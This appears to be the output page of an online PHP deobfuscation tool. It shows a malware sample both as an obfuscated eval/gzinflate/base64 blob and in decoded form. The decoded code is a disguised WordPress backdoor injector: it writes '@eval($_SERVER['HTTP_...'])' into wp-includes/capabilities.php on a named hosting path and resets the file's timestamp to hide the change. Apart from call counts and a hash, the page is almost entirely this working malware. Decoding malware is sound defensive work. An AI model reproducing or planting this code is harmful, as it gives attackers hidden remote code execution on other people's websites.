Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode("jVJrj5pAFP3ur5gmJmh20wBWrWk2bSXiigLrC3CbxsAwKDrMsDCoS7P/vYPv..

Decoded Output download


phpConfValidate('YTo0OntpOjA7czo2NzoiL2hvbWUxL2FobWVkL3B1YmxpY19odG1sL2lzaGJlbGxpYS5jb20vd3AtaW5jbHVkZXMvY2FwYWJpbGl0aWVzLnBocCI7aToxO3M6OTg6In5ldmFsW15cKFxuXHJdKlwoW15cJF0qXCRfW0EtWl17Nn1bXlxbXSpcW1teXCdcIl0qW1wnXCJdSFRUUF81NEFCMzNCW1wnXCJdW15cXV0qXF1bXlwpXSpcKVteO10qO35zIjtpOjI7czozMjoiQGV2YWwoJF9TRVJWRVJbJ0hUVFBfNTRBQjMzQiddKTsiO2k6MztzOjI2OiJ+XlxzKmZ1bmN0aW9uXHMrd3Bfcm9sZXN+bSI7fQ==');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (preg_match($systemEnv, $source)) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    
    $incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv);
    $newSource = preg_replace($incorrectRegex, '', $source);
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
    
    
    if (!preg_match($systemEnv, $newSource)) {
        return;
    }
    
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode("jVJrj5pAFP3ur5gmJmh20wBWrWk2bSXiigLrC3CbxsAwKDrMsDCoS7P/vYPvfSTtJDB3Zu4599xHKV7GCiWB5eLQdxmqCLMJFU3CYnP1swlzKhs5DQfycuPZ091AVqlnW+tBrS3Nol08k1rU70rpQMa529Ww1+V34/rKk8WNX/vJXJvb99b60dE3M1ndzmwt9rpYdG0rH5A2hUqv6U7ozqzpDXOyaPRIHfuRmtpSHfbVXebca34fb2lx1lTxyVFGgS12mI2lpkEkz8E7zxnH0JYYchQf9rD4ZEtb4iiaP1ZH06n6VTI6qqLnhnK6L7gci3OpBX4bF/i+xZApiU9mrZ73VkXuvSL3XF/RcNi15Jm9pZramowszeafp4nLqaW2A2Myag9Xej4Mfb8/SUNTXjf0nOUcL5uhdsP15f3oUfIig+fc4vnoiV9rBzBqpY+OceONe81geHcnVL+VgoxAFlIC3naknKKkCv6USoAvHKYMVMpBhvGDy5a3oJw+pwxFHbLhNqQ+4lvsMoYSUgV3ICMcHXKqHFU8N0WNL3MfFW4HWh63YC2nNEsg4v5BiNF8gdgcUsIQYekl1tE3DEAlTtBiHrkMLiuv4h9oqoVacFwJYllCDtCXM8Gna4aj3DOeG/sXlP6D6aA9JJAmCYJshBZox3NIWTJPUIxdyMcZCeAzEDbufsPCLRB+fHeTZH90n4XrAp6KQdB2fKrHXueJ7E0oziVckv4AfC3klNIv8fexUVzBw/3DvGMOuPX6+UxyZL383hXvuvwX2P/UrWh1xMLo1Pa9fdVucAMk8QDLCA7J+t0o7Iclzj4alg+SYDQrBF95nKNyj5fSXw==")));

Function Calls

gzinflate 1
base64_decode 1
phpConfValidate 1

Variables

None

Stats

MD5 9d136d2d60568ab7bf38fb98834d6b36
Eval Count 1
Decode Time 60 ms